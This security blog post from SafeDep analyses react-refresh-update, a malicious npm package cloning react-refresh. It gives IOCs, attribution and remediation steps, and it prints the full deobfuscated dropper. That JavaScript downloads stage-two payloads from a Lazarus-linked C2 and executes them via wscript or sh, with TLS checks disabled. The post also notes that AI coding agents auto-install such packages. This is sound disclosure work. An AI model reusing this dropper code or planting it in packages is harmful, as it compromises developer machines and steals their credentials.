Malicious npm Package react-refresh-update Drops Cross-Platform Trojan on Developer Machines
Kunal SinghTable of Contents
TL;DR
SafeDep identified react-refresh-update, a malicious npm package impersonating react-refresh, a Meta-maintained package with 42 million weekly downloads used by virtually every React build toolchain. The package is a nearly identical clone of the legitimate source, but runtime.js carries a two-layer obfuscated, multi-platform trojan dropper that runs silently on require().
- The package mirrors react-refresh entirely, with one modification: an obfuscated dropper injected into
runtime.js, keeping the legitimate module exports intact so the package works normally - The payload detects the host OS and downloads a platform-specific second-stage from
malicanbur[.]pro - On Windows, it fetches a 28.71 MB self-extracting archive (
cdrivWin.sh) containing a PE binary, extracts it, and executesstart.vbsviawscript, hidden and detached - On Linux and macOS, it downloads and executes a shell script dropped to
/var/tmp/macspatch.sh - The C2 domain
malicanbur[.]prois tracked as Lazarus Group infrastructure, and the second-stage binary is classified under thedeceptivedevelopmentfamily, a North Korea aligned campaign targeting developers. The payload has been independently identified as PylangGhost RAT - This follows the same template as pino-sdk-v2: mirror a popular package, inject into one internal file, claim a higher version number. AI coding agents (Claude Code, Cursor, Codex etc) that search for packages via Google or Exa and install automatically are a growing target for this pattern. A mirrored codebase and inflated version are convincing enough to pass without human review
Investigation
The npm page is a copy-paste of react-refresh. The description, keywords, and homepage (react.dev) are identical. The version number 2.0.5 is the first tell: react-refresh has never shipped a 2.x release. The real package is at 0.18.0. Claiming 2.0.5 gives the impression of a newer variant.
| react-refresh | react-refresh-update | |
|---|---|---|
| Version | 0.18.0 | 2.0.5 |
| Weekly downloads | 42,152,852 | 38 |
| Total files | 9 | 9 |
| Unpacked size | 58.4 kB | 94.5 kB |
| Publisher | Meta (facebook/react) | jaime9008 |
| Last published | 5 months ago | 11 days ago |
| Homepage | react.dev | react.dev |
| Repository | facebook/react.git | (removed) |

Legitimate react-refresh

Malicious react-refresh-update
The file count matches the legitimate package exactly: 9 files. The 36 kB size difference is the payload. Diffing the two packages shows a single modified file: runtime.js.
Publisher and Version History
The npm publisher is jaime9008 ([email protected]). This account has only one other package: @jaime9008/math-service, a trivial test package published on February 23, 2026, one week before the malicious campaign began. This is a throwaway account created specifically for this attack.
The version history reveals rapid iteration. Six versions were published over four days:
| Version | Published |
|---|---|
| 1.0.0 | 2026-03-01 20:31 UTC |
| 1.0.1 | 2026-03-01 20:34 UTC |
| 1.0.2 | 2026-03-01 20:58 UTC |
| 1.0.3 | 2026-03-01 21:10 UTC |
| 1.0.4 | 2026-03-01 21:19 UTC |
| 2.0.5 | 2026-03-05 05:00 UTC |
The first four versions were published within 48 minutes on March 1, likely the attacker testing the payload and verifying it worked end-to-end. The jump from 1.0.4 to 2.0.5 on March 5 is the final production payload with the version number inflated past the legitimate package’s 0.18.0.
The Payload in runtime.js
The legitimate runtime.js in react-refresh is seven lines:
'use strict';
if (process.env.NODE_ENV === 'production') { module.exports = require('./cjs/react-refresh-runtime.production.min.js');} else { module.exports = require('./cjs/react-refresh-runtime.development.js');}In react-refresh-update, the attacker injected the obfuscated payload immediately after the first line, leaving the original module exports intact at the bottom. Any code that requires the package still gets a working Fast Refresh runtime; the malicious code runs silently as a side effect of loading the module.

The full diff is available on DiffChecker.
Two-Stage Deobfuscation
The payload uses two layers of obfuscation. The outer layer is a self-executing IIFE that bootstraps a rotating string table, a common pattern from javascript-obfuscator:
(function (_0x501563, _0x2250fa) { const _0x28ca54 = _0x501563(); while (true) { try { const _0x4d047a = parseInt(_0x4d3c(0xf5)) / 0x1 + parseInt(_0x4d3c(0x2d3)) / 0x2 + ... if (_0x4d047a === _0x2250fa) { break; } else { _0x28ca54.push(_0x28ca54.shift()); } } catch (_0x4bff88) { _0x28ca54.push(_0x28ca54.shift()); } }})(_0x3f49, 0x4b183);The inner layer is an XOR-encrypted payload. The outer code contains a decodeSource() function backed by xorBuffer() that decrypts an embedded encoded blob at runtime using a hardcoded key. The actual dropper is never present as plaintext on disk; it only exists in memory after decodeSource(__ENCODED__, __KEY__) runs. The decoded source is then passed directly to eval():
eval(__DECODED_SOURCE__);This is the execution mechanism: eval() runs the XOR-decrypted dropper in the context of the current module, giving it access to require, process, and the full Node.js runtime. Because the payload is encrypted on disk and only decrypted in memory before eval(), static analysis tools that scan for suspicious require('child_process') calls will not find them in the source.
Extracting the inner payload required hooking into the decryption call and dumping the result:
const __DECODED_SOURCE__ = decodeSource(__ENCODED__, __KEY__);fs.writeFileSync('deobfuscated_payload.js', __DECODED_SOURCE__);After stripping both layers, the string table from the decoded payload resolves to:
const STRINGS = [ 'https', 'fs', 'child_process', 'path', 'os', 'axios', 'macspatch.sh', 'ML2J', 'https://malicanbur.pro', '/winnmrepair_', '.release', '/linnmrepair_', '/macnmrepair_', '/winnmrepair.release', 'patches.zip', 'patches', 'content-length', 'a', 'GET', 'bytes=', '-', 'stream', 'end', 'error', 'curl/7.68.0', '*/*', 'data', 'close', 'finish', 'tar', '-xf', '-C', 'start.vbs', 'wscript', 'ignore', '', 'win32', 'darwin', '/var/tmp/', 'linux', 'sh', 'inherit',];The decoded payload requires axios for chunked HTTP downloads on Windows, but axios is not listed in the package’s dependencies or peerDependencies. The dropper relies on axios already being installed in the host project’s node_modules. If axios is not present, the Windows download path fails silently (the catch blocks are empty). The Linux and macOS paths use Node’s built-in https module and do not depend on axios.
The entry point eMAluviA() is called immediately at module load and dispatches by platform:
function eMAluviA() { const platform = os.platform(); // "win32" | "darwin" | "linux"
if (platform === "win32") { // chunked download -> extract -> run start.vbs oFrTnsIM("hxxps://malicanbur[.]pro/winnmrepair_ml2j.release", tempZipPath); } else if (platform === "darwin") { // download shell script -> chmod 0755 -> sh https.get("hxxps://malicanbur[.]pro/macnmrepair_ml2j.release", { rejectUnauthorized: false }, ...) } else if (platform === "linux") { // download shell script -> chmod 0755 -> sh https.get("hxxps://malicanbur[.]pro/linnmrepair_ml2j.release", { rejectUnauthorized: false }, ...) }}eMAluviA();Windows Execution Path
The Windows path uses chunked HTTP range requests via axios to download hxxps://malicanbur[.]pro/winnmrepair_ml2j.release (28.71 MB) to %TEMP%\patches.zip. The C2 serves this as cdrivWin.sh, a shell-based self-extracting archive containing a compiled Windows binary. The chunked 10 MB range-request strategy avoids a single large transfer that network security controls might flag, and supports resuming if interrupted.
Once downloaded, the dropper extracts the archive to %TEMP%\patches\ using the system tar binary, then runs start.vbs via wscript in a hidden, detached process:
function DLnURdfL() { const vbsPath = path.join(extractDir, 'start.vbs'); if (fs.existsSync(vbsPath)) { const proc = spawn('wscript', [vbsPath], { detached: true, stdio: 'ignore', windowsHide: true, }); proc.unref(); }}windowsHide: true prevents a console window from appearing. proc.unref() detaches the VBS process from the Node.js parent so it persists after the install completes. start.vbs is executed immediately. Based on VirusTotal’s contains-pe behavioral tag on the archive, the VBScript’s role is to drop and launch the embedded compiled Windows binary. The malware is running on the developer’s machine at this point.
Linux and macOS Execution Path
On Unix platforms, the dropper fetches a platform-specific shell script using https.get with rejectUnauthorized: false to bypass TLS certificate validation against the C2. The script is written to /var/tmp/macspatch.sh, made executable, and run with sh:
https.get(scriptUrl, { rejectUnauthorized: false }, (response) => { const writeStream = fs.createWriteStream('/var/tmp/macspatch.sh'); response.pipe(writeStream);
writeStream.on('finish', () => { writeStream.close(() => { fs.chmodSync('/var/tmp/macspatch.sh', 0o755); spawn('sh', ['/var/tmp/macspatch.sh'], { stdio: 'inherit' }); }); });});The filename macspatch.sh is reused for both macOS and Linux. /var/tmp/ is world-writable and on many Linux distributions survives reboots, unlike /tmp. Once sh executes macspatch.sh, the second-stage payload is running. The shell script has full access to the developer’s environment, credentials, SSH keys, and any secrets accessible to the process that triggered require().
VirusTotal Detection
The Windows second-stage, served by the C2 as cdrivWin.sh (SHA256: 0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e, 28.71 MB), was flagged by 15 of 54 vendors on VirusTotal as trojan.python/obfdldr, family deceptivedevelopment. The behavioral tags detect-debug-environment and long-sleeps indicate active sandbox evasion.

What to Do if You Are Affected
Immediate Containment
- Remove the package:
npm remove react-refresh-update - Audit your
package-lock.jsonoryarn.lockfor any reference toreact-refresh-update - Check
%TEMP%\patches\on Windows and/var/tmp/macspatch.shon Linux/macOS for dropped files - Kill any running processes spawned by the dropper (
wscript,start.vbson Windows,macspatch.shon Linux/macOS) - Block
malicanbur[.]proat the network or DNS level to prevent further C2 communication
Credential Rotation
The dropper runs at require() time, meaning any process that loaded the package has executed the payload. Assume all credentials accessible from the affected environment are compromised:
- Rotate npm tokens, SSH keys, cloud provider credentials (AWS, GCP, Azure), and API keys
- Revoke and regenerate CI/CD secrets (GitHub Actions secrets, environment variables)
- Rotate database credentials and any tokens stored in
.envfiles or environment variables - Review and revoke active OAuth tokens and personal access tokens
Indicators of Compromise (IOC)
| Indicator | Value |
|---|---|
| Package name | react-refresh-update |
| Version analyzed | 2.0.5 |
| Package SHA256 | 5196c3a832897e30c26da768379750bd3c886890e74d0f28a8921bbd19b553fc |
| npm publisher | jaime9008 ([email protected]) |
| Malicious file | runtime.js |
| Execution mechanism | eval() of XOR-decrypted payload |
| C2 domain | malicanbur[.]pro |
| Windows payload URL | hxxps://malicanbur[.]pro/winnmrepair_ml2j.release |
| Linux payload URL | hxxps://malicanbur[.]pro/linnmrepair_ml2j.release |
| macOS payload URL | hxxps://malicanbur[.]pro/macnmrepair_ml2j.release |
| Windows payload SHA256 | 0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e |
| Windows drop path | %TEMP%\patches.zip, %TEMP%\patches\start.vbs |
| Linux/macOS drop path | /var/tmp/macspatch.sh |
| Trigger | require() of any module loading runtime.js (no install hooks) |
| XOR decryption key | fdfdfdfdf3rykyjjgfkwi |
| C2 IP (current A record) | 31.220.48[.]155 |
| Secondary C2 IP | 173.211.46[.]22:8080 |
Attribution
Multiple independent sources link this package to the Lazarus Group (DPRK/North Korea), specifically the DeceptiveDevelopment campaign (also tracked as Contagious Interview).
VirusTotal family classification. The Windows second-stage binary (0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e) is classified under the family label deceptivedevelopment by multiple AV vendors. ESET documents DeceptiveDevelopment as a North Korea aligned cluster active since at least 2023, targeting software developers on Windows, Linux, and macOS, with a focus on cryptocurrency and Web3 projects. Microsoft tracks the same activity as Contagious Interview.
Maltrail threat intelligence. The C2 domain malicanbur[.]pro and the associated IP 173.211.46[.]22:8080 are listed in stamparm/maltrail under the apt_lazarus trail, confirming independent attribution to Lazarus infrastructure.
PylangGhost RAT. kmsec.uk published a detailed analysis of react-refresh-update and @jaime9008/math-service, identifying the second-stage payload as PylangGhost RAT, a Python-compiled remote access trojan. Their analysis confirms the same C2 (malicanbur[.]pro), publisher account (jaime9008), and XOR key (fdfdfdfdf3rykyjjgfkwi). The RAT’s capabilities include Chrome extension enumeration targeting cryptocurrency wallet extensions.
Deobfuscated runtime.js Payload
The following is the deobfuscated payload extracted from runtime.js:
const STRINGS = [
'https',
'fs',
'child_process',
'path',
'os',
'axios',
'macspatch.sh',
'ML2J',
'https://malicanbur.pro',
'/winnmrepair_',
'.release',
'/linnmrepair_',
'/macnmrepair_',
'/winnmrepair.release',
'patches.zip',
'patches',
'content-length',
'a',
'GET',
'bytes=',
'-',
'stream',
'end',
'error',
'curl/7.68.0',
'*/*',
'data',
'close',
'finish',
'tar',
'-xf',
'-C',
'start.vbs',
'wscript',
'ignore',
'',
'win32',
'darwin',
'/var/tmp/',
'linux',
'sh',
'inherit',
];
const oaLLcidN = require(STRINGS[0]);
const YFhBvOCQ = require(STRINGS[1]);
const { spawn } = require(STRINGS[2]);
const NuPxFbMG = require(STRINGS[3]);
const ZbCzKZWs = require(STRINGS[4]);
const xShDGmCh = require(STRINGS[5]);
const CcwUFnFU = STRINGS[6];
const mEcvUwwR = STRINGS[7];
const hyurUHYr = STRINGS[8];
const gdMyvoaa = hyurUHYr + STRINGS[9] + mEcvUwwR.toLowerCase() + STRINGS[10];
const ceYpklBk = hyurUHYr + STRINGS[11] + mEcvUwwR.toLowerCase() + STRINGS[10];
const eCcOZwtj = hyurUHYr + STRINGS[12] + mEcvUwwR.toLowerCase() + STRINGS[10];
const imYmlKwR = hyurUHYr + STRINGS[13];
const FPjwcFlx = NuPxFbMG.join(ZbCzKZWs.tmpdir(), STRINGS[14]);
const eYRfzbbb = NuPxFbMG.join(ZbCzKZWs.tmpdir(), STRINGS[15]);
async function oFrTnsIM(xJfqsdYT, YIFqUQjC, chunkSize = 10 * 1024 * 1024) {
let aDwsdudZ = 0;
try {
const XPrMfXvB = await xShDGmCh.head(xJfqsdYT);
aDwsdudZ = parseInt(XPrMfXvB.headers[STRINGS[16]], 10);
let wiaEzOZj = 0;
if (YFhBvOCQ.existsSync(YIFqUQjC)) {
const BJLDxDIf = YFhBvOCQ.statSync(YIFqUQjC);
wiaEzOZj = BJLDxDIf.size;
}
const OhDJyHfN = YFhBvOCQ.createWriteStream(YIFqUQjC, {
flags: STRINGS[17],
});
while (wiaEzOZj < aDwsdudZ) {
const RrFpixkX = Math.min(wiaEzOZj + chunkSize - 1, aDwsdudZ - 1);
try {
const yWcSyGRa = await xShDGmCh({
url: xJfqsdYT,
method: STRINGS[18],
headers: {
Range: STRINGS[19] + wiaEzOZj + STRINGS[20] + RrFpixkX,
},
responseType: STRINGS[21],
});
await new Promise((MptQEEap, iULWaqCf) => {
yWcSyGRa.data.pipe(OhDJyHfN, {
end: false,
});
yWcSyGRa.data.on(STRINGS[22], MptQEEap);
yWcSyGRa.data.on(STRINGS[23], iULWaqCf);
});
wiaEzOZj = RrFpixkX + 1;
} catch (error) {}
}
OhDJyHfN.close();
IcntOcxG();
} catch (error) {}
}
function hQzakJCi(retr_yCount = 5) {
const UknVsDNw = YFhBvOCQ.createWriteStream(FPjwcFlx);
const ZMAmQnHb = {
headers: {
'User-Agent': STRINGS[24],
Accept: STRINGS[25],
},
};
const zruCuIDU = oaLLcidN.get(imYmlKwR, ZMAmQnHb, function (response) {
if (response.statusCode !== 200) {
UknVsDNw.close(() => {
YFhBvOCQ.unlinkSync(FPjwcFlx);
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
return;
}
const UpRCIXRf = parseInt(response.headers[STRINGS[16]], 10);
let QynAymmA = 0;
response.on(STRINGS[26], (xYFhUlJy) => {
QynAymmA += xYFhUlJy.length;
});
response.pipe(UknVsDNw);
response.on(STRINGS[22], () => {
UknVsDNw.close(() => {
if (QynAymmA === UpRCIXRf) {
IcntOcxG();
} else if (retr_yCount > 0) {
YFhBvOCQ.unlink(FPjwcFlx, (ngNUBqgB) => {
if (!ngNUBqgB) hQzakJCi(retr_yCount - 1);
});
} else {
}
});
});
response.on(STRINGS[27], () => {});
response.on(STRINGS[23], (err) => {
UknVsDNw.close(() => {
YFhBvOCQ.unlink(FPjwcFlx, (cstDZAcC) => {
if (cstDZAcC) {
}
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
});
zruCuIDU.on(STRINGS[23], (err) => {
UknVsDNw.close(() => {
YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => {
if (unlinkErr) {
}
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
zruCuIDU.setTimeout(30000, () => {
zruCuIDU.abort();
UknVsDNw.close(() => {
YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => {
if (unlinkErr) {
}
});
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
UknVsDNw.on(STRINGS[28], () => {});
UknVsDNw.on(STRINGS[27], () => {});
UknVsDNw.on(STRINGS[23], (err) => {
YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => {
if (unlinkErr) {
}
if (retr_yCount > 0) {
hQzakJCi(retr_yCount - 1);
}
});
});
}
function IcntOcxG() {
if (!YFhBvOCQ.existsSync(eYRfzbbb)) {
YFhBvOCQ.mkdirSync(eYRfzbbb);
}
const WOxbomoQ = spawn(STRINGS[29], [STRINGS[30], FPjwcFlx, STRINGS[31], eYRfzbbb]);
WOxbomoQ.on(STRINGS[27], (aUEjYvUy) => {
if (aUEjYvUy === 0) {
DLnURdfL();
} else {
}
});
}
function DLnURdfL() {
const MRajAmQL = NuPxFbMG.join(eYRfzbbb, STRINGS[32]);
if (YFhBvOCQ.existsSync(MRajAmQL)) {
const CcBELVLF = spawn(STRINGS[33], [MRajAmQL], {
detached: true,
stdio: STRINGS[34],
windowsHide: true,
});
CcBELVLF.unref();
} else {
}
}
function eMAluviA() {
let xJNfURgo = STRINGS[35];
const HTbZTylm = ZbCzKZWs.platform();
let OMXthvuc = STRINGS[35];
if (HTbZTylm === STRINGS[36]) {
const jedewkFh = ZbCzKZWs.tmpdir();
OMXthvuc = NuPxFbMG.join(jedewkFh, CcwUFnFU);
xJNfURgo = gdMyvoaa;
} else if (HTbZTylm === STRINGS[37]) {
OMXthvuc = STRINGS[38] + CcwUFnFU;
xJNfURgo = eCcOZwtj;
} else if (HTbZTylm === STRINGS[39]) {
OMXthvuc = STRINGS[38] + CcwUFnFU;
xJNfURgo = ceYpklBk;
} else {
return;
}
if (HTbZTylm != STRINGS[36]) {
oaLLcidN
.get(
xJNfURgo,
{
rejectUnauthorized: false,
},
(qtWTYcbR) => {
const OXgfHPnI = YFhBvOCQ.createWriteStream(OMXthvuc);
qtWTYcbR.pipe(OXgfHPnI);
OXgfHPnI.on(STRINGS[28], () => {
OXgfHPnI.close(() => {
YFhBvOCQ.chmodSync(OMXthvuc, 0o755);
const oAikehZa = OMXthvuc;
const QtEAJCaa = spawn(STRINGS[40], [oAikehZa], {
stdio: STRINGS[41],
});
QtEAJCaa.on(STRINGS[27], (code) => {
process.exit(code);
});
QtEAJCaa.on(STRINGS[23], (err) => {
process.exit(1);
});
});
});
}
)
.on(STRINGS[23], console.error);
} else {
oFrTnsIM(gdMyvoaa, FPjwcFlx);
}
}
eMAluviA();- vet
- cloud
- malware
- supply-chain-security
- npm
- dependency-confusion
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

How to Write Time-Based Security Policies in SafeDep vet
Protect against unknown malicious open source packages by enforcing a supply chain cooling-off period using the now() CEL function in SafeDep vet.

Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord
A malicious npm package impersonating the popular pino logger was detected by SafeDep. The package hides obfuscated code inside a legitimate library file to steal environment secrets and send them to...

Threat Modeling the AI-Native SDLC: Supply Chain Security in the Age of Coding Agents
AI agents are rewriting the software development lifecycle. From vibe coding to autonomous CI/CD, every phase now involves an LLM making decisions about your code and dependencies. Here is a threat...

Gryph: Audit Trail for AI Coding Agents
AI coding agents operate with broad access to your codebase, credentials, and shell. Gryph logs every action they take to a local SQLite database, making agent behavior visible, queryable, and...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
